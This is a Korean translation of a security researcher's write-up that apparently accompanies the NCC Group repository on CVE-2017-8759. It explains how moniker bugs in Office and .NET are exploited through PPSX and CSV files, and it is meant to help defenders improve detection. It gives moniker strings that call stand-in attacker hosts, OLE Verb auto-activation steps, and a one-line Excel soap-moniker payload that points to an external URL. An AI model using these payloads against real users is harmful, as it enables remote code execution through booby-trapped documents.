nccgroup/cve-2017-8759CVE-2017-8759에 대한 NCC Group의 분석 및 악용, 그리고 추가 개선 사항
이 저장소에는 Microsoft PowerPoint용 CVE-2017-8759 샘플 익스플로잇과 함께, 유사한 취약점이 동일한 기법으로 어떻게 악용되었고 또 악용될 수 있는지에 대한 설명이 포함되어 있습니다.
이 저장소를 공개하는 목적은 방어자들이 현재 인지하지 못하고 있을 수 있는 대안적인 악용 기법을 조명하기 위해서입니다. 이러한 대안 기법을 강조함으로써, 방어자들이 견고한 탐지를 구현하고 (다른 모니커 익스플로잇을 CVE-2017-0199로 잘못 식별하는) 오탐(false positive)과 (RTF 탐지에만 집중하는) 미탐(false negative)을 모두 피할 수 있기를 바랍니다.
지난 4월, 패치되지 않은 새로운 취약점이 실제 공격(in the wild)에 악용되고 있다는 소식을 들었을 때, 저는 취약점이 공개되기 전에 탐지 규칙을 만들 수 있도록 익스플로잇을 재현하려고 했습니다. 하지만 당시 제가 참고할 수 있었던 것은 FireEye와 McAfee 블로그 게시물의 취약점 설명뿐이었습니다. 공개된 세부 정보가 부족했기 때문에, 저는 결국 실제 공격에서 사용된 "RTF URL 모니커" 익스플로잇과는 (결과적으로) 완전히 다른 방법으로 취약점을 악용하게 되었습니다.
약 한 달 후, Haifei Li는 2017년 1월에 식별하여 보고했던 두 번째 취약점("PPSX Script 모니커"라고도 함)을 자신의 SyScan360 발표에서 공개했습니다. 이 취약점 역시 동일한 CVE-2017-0199 패치로 수정되었지만, (작성자에 의해서도, 그리고 이후 실제 공격에서도) PPSX 파일 형식을 사용하여 악용되었습니다. 현재까지 PPSX를 통한 URL 모니커 버그의 실제 공격 사례는 알지 못합니다. 하지만 두 버그가 동일한 CVE로 패치되었기 때문에, 이러한 익스플로잇의 탐지에 대한 혼란이 존재했으며 (여전히 존재합니다) (이에 대해서는 나중에 자세히 다룹니다).
시간이 흘러 2017년 9월, FireEye는 Microsoft Word에서 RTF 형식을 사용하는 또 다른 취약점을 발견했습니다. 이로 인해 저는 새로운 "SOAP 모니커" 버그도 동일한 PPSX 기법으로 악용할 수 있는지 조사하기 위해 이전의 "PPSX URL 모니커" 익스플로잇을 다시 살펴보게 되었습니다.
앞서 언급했듯이, 이전 취약점(CVE-2017-0199)은 실제로 두 개의 별도 취약점이었으며 Microsoft는 이를 동일한 CVE 번호로 패치했습니다. 첫 번째("URL 모니커" 버그라고도 함)는 RTF를 사용하여 악용되었지만, 두 번째("script 모니커" 버그라고도 함)는 실제로 완전히 다른 기법을 사용했으며 OOXML 형식, 특히 PPSX를 사용하여 악용되었습니다.
또한 앞서 언급했듯이, OOXML 기법은 script 모니커 취약점에만 해당하는 것이 아니며 "URL 모니커", "Script 모니커", 그리고 새로운 "SOAP 모니커" 취약점을 악용하는 데 사용할 수 있습니다.
OOXML에서의 악용은 비교적 간단하며, 취약한 개체가 자동으로 활성화되도록 몇 가지 트릭을 활용합니다. 먼저 URL 모니커 익스플로잇을 다룬 다음, 이를 script 및 soap 모니커(그리고 잠재적으로 향후 더 많은 모니커)에서도 작동하도록 업데이트하는 방법을 설명하겠습니다.
먼저 파일에 대한 링크를 삽입해야 합니다(StdOleLink 또는 OLE2Link라고 함). 제 익스플로잇에서는 아래와 같이 PowerPoint 파일에 대한 링크를 사용했습니다. 이는 나중에 모니커를 활성화하기 위해 필요합니다.
링크가 배치되면 경로에 모니커 문자열이 포함되도록 수정해야 합니다. "URL 모니커" 버그의 경우 HTA 파일에 URL을 직접 추가하기만 하면 됩니다(예: "http://attacker.com/evil.hta"). Script 모니커 버전의 경우 "script:https://attacker.com/evil.sct" 문자열을 사용할 수 있습니다. 링크된 개체의 파일 경로는 다음 위치에 저장됩니다:
ppt\slides\_rels\slide1.xml.rels
링크된 개체가 활성화될 때 이 값을 모니커 문자열로 변경하기만 해도 취약점을 트리거하기에 충분합니다. 그러나 다른 트릭을 사용하지 않는 한 자동으로 발생하지는 않습니다.
개체를 자동으로 활성화하려면 "OLE Verb"라고 하는 것을 사용할 수 있습니다. 간단히 말해, 이는 PowerPoint가 개체를 "활성화"하여 IMoniker::BindToObject() 메서드를 호출하게 만들고, 결과적으로 코드가 실행되게 합니다(이후 경로는 모니커에 따라 달라집니다).
OLE Verb를 사용하려면 삽입된 개체를 선택하고 다음으로 이동하기만 하면 됩니다:
Animations -> Add Animation -> OLE Action Verbs -> Open
OLE Verb 애니메이션이 생성되면 슬라이드쇼가 시작되는 즉시 개체가 활성화되도록 "Start: with previous"를 선택할 수 있습니다.
이 시점에서 문서를 PPTX로 저장하고 열기로 선택하면 링크 업데이트 프롬프트가 표시됩니다. 이는 악용 시나리오에서는 바람직하지 않습니다.
이를 우회하려면 파일을 PPSX(PowerPoint 슬라이드쇼) 파일로 저장하면 됩니다. 이렇게 하면 파일을 열 때 슬라이드쇼가 자동으로 시작되어 OLE Verb가 트리거되고 코드가 실행됩니다.
FireEye 블로그 게시물에 설명된 대로, 이 취약점은 실제로 Office 자체가 아닌 .NET 프레임워크에 있습니다. 이는 여러 주소 정의를 포함하는 WSDL 파일을 구문 분석할 때 발생하는 코드 삽입 문제 때문입니다. CRLF 시퀀스가 삽입되면 생성된 C# 파일에 임의 코드를 추가할 수 있으며, 이 파일은 나중에 DLL로 컴파일되어 Office 애플리케이션에 로드됩니다.
버그 자체는 System.Runtime.Remoting의 WsdlParser 클래스에 있는 IsValidUrl 메서드에 존재합니다. CVE-2017-8759 패치 이전에는 이 메서드가 CRLF 문자를 검사하지 않았고 (문자열이 적절히 인용되었는지 확인한 후) 정화되지 않은 문자열을 그대로 반환했으며, 이후 csc.exe가 컴파일할 수 있도록 .cs 파일에 기록되었습니다. 즉, 공격자가 \r\n을 포함하는 URL을 전달하면 생성된 C# 파일에 임의 코드를 주입할 수 있습니다. CRLF 주입이 작동하는 이유는 일반적으로 여러 주소 정의를 포함하는 WSDL 파일을 구문 분석할 때 PrintClientProxy 메서드가 아래와 같이 후속 정의를 주석 처리하려고 하기 때문입니다.
패치 전 IsValidUrl:
PrintClientProxy:
여기서 문제는 IsValidUrl이 주석 처리된 줄에 추가되기 전에 보조 주소 URL에 대해 여전히 호출된다는 것입니다. 공격자가 두 번째 주소 정의에 CRLF 문자를 추가하면, 코드가 IsValidUrl에 의해 구문 분석될 때 주석 줄에서 빠져나와 자신의 C# 코드를 주입할 수 있습니다.
CVE-2017-8759 패치 이후 WsdlParser 클래스에는 이제 TransliterateString이라는 새 메서드가 포함됩니다. 이제 IsValidUrl이 호출되면 코드는 먼저 부울 값 AppSettings.AllowUnsanitizedWSDLUrls가 설정되었는지 확인합니다. 이 값이 true로 설정되면 코드는 패치 이전과 동일한 경로를 따릅니다(CRLF 주입 허용). 그러나 false로 설정되면 새 TransliterateString 메서드가 호출됩니다. 이 새 메서드는 알파벳이 아닌 문자를 이스케이프된 유니코드로 인코딩하여 개행 문자가 주입될 수 없도록 합니다.
패치된 IsValidUrl:
TransliterateString:
패치를 시연하기 위해 C#으로 간단한 테스트 하네스를 만들어 CRLF 문자를 포함하는 문자열을 구문 분석해 보았습니다. 그 출력은 아래와 같습니다. 패치된 메서드가 호출되고 동시에 AllowUnsanitizedWSDLUrls가 false로 설정되면 문자열이 이제 인코딩된다는 점에 유의하세요.
이 취약점을 악용하는 방법을 조사할 때 Office 외부에서 코드 실행을 테스트하기 위해 테스트 하네스를 만들었습니다. 이를 위해 JScript와 GetObject 메서드를 사용했지만, soapsuds.exe를 사용할 수도 있습니다. 실제 악성코드 샘플의 WSDL 파일로 테스트하여 작동 방식을 조사하고 취약점을 확인했습니다.
GetObject로 익스플로잇이 작동하게 된 후, 앞서 보여준 대로 rels 파일을 수정하여 "soap:wsdl=http://attacker.com/evil.whatever" 형식의 soap 모니커를 포함시켰습니다.
익스플로잇을 만든 후 (이전 샘플들과 마찬가지로) Virus Total에 업로드했고 놀라운 결과를 얻었습니다. 단 하나의 AV 엔진에서만 탐지되었고, CVE-2017-0199로 오탐되었습니다. 제가 업로드한 또 다른 샘플도 CVE-2017-0199로 태그된 것으로 보였습니다. 이전 익스플로잇과의 유사성 때문에 이해할 수 있는 결과이지만, 이로 인해 혼란이 발생하거나 최악의 경우 새로 발견된 모니커 익스플로잇이 이미 패치된 오래된 취약점으로 치부되어 탐지를 놓칠 수 있다는 우려가 있습니다.
먼저 익스플로잇 파일과 같은 폴더에서 로컬 웹 서버를 시작합니다:
python -m SimpleHTTPServer 80
이제 exploit.ppsx 파일을 엽니다. 모든 것이 정상이라면 PowerPoint가 로컬 파일 서버에서 logo.png와 w00t.hta를 모두 가져오고 calc.exe가 실행되는 것을 볼 수 있습니다.
Twitter에 PPSX 익스플로잇에 대해 게시한 후, Jacob Soo가 연락을 취해 Microsoft Excel에서 이 취약점을 악용해 보라고 제안했습니다. 시도해 보았고 예상대로 그는 옳았습니다. 단 한 번의 프롬프트로 calc.exe를 실행할 수 있었습니다.
흥미로운 점은, 이전에 지적된 바와 같이 CSV(및 SLK 파일)가 보호된 보기(Protected View)를 트리거하지 않는다는 것입니다. 즉, 인터넷 위치에서 RTF, PPSX 또는 CSV/SLK 파일을 받았을 때 사용자에게 표시되는 프롬프트 수는 정확히 동일합니다(전자는 보호된 보기를 트리거하기 때문입니다). 또한 일반 텍스트이고 일반적으로 비교적 무해하기 때문에 CSV 파일은 경계 방어(예: 웹 프록시 또는 이메일 스팸 필터)를 쉽게 통과하는 경우가 많습니다.
Excel에서 이 버그를 악용하는 것은 WSDL 파일에 대한 링크를 포함하는 것만큼 간단합니다. 아래 예시에서는 ProgID "GC"를 사용하고 있습니다(제가 찾을 수 있는 가장 짧은 ProgID였기 때문입니다). 그러나 모니커를 활성화하려면 유효한 ProgID라면 무엇이든 사용할 수 있습니다.
=GC|'soap:wsdl=https://git.io/v5DMF '!''''
위 문자열을 CSV로 저장하는 것만으로 취약점을 악용할 수 있습니다. 트윗할 수 있을 만큼 짧습니다! 또한 문자열이 짧기 때문에 탐지 시그니처를 만드는 것이 더 어렵고(물론 불가능한 것은 아니지만), 따라서 향후 Excel 기반 공격을 식별할 수 있도록 방어자들에게 이를 알릴 가치가 있다고 생각합니다.
Microsoft는 2017년 9월 12일에 이 취약점에 대한 패치를 릴리스했습니다.
CVE-2017-8759 변종에 대한 일부 Yara 규칙이 Florian Roth와 Security Doggo에 의해 게시되었습니다.
또한 다음 규칙도 만들었습니다: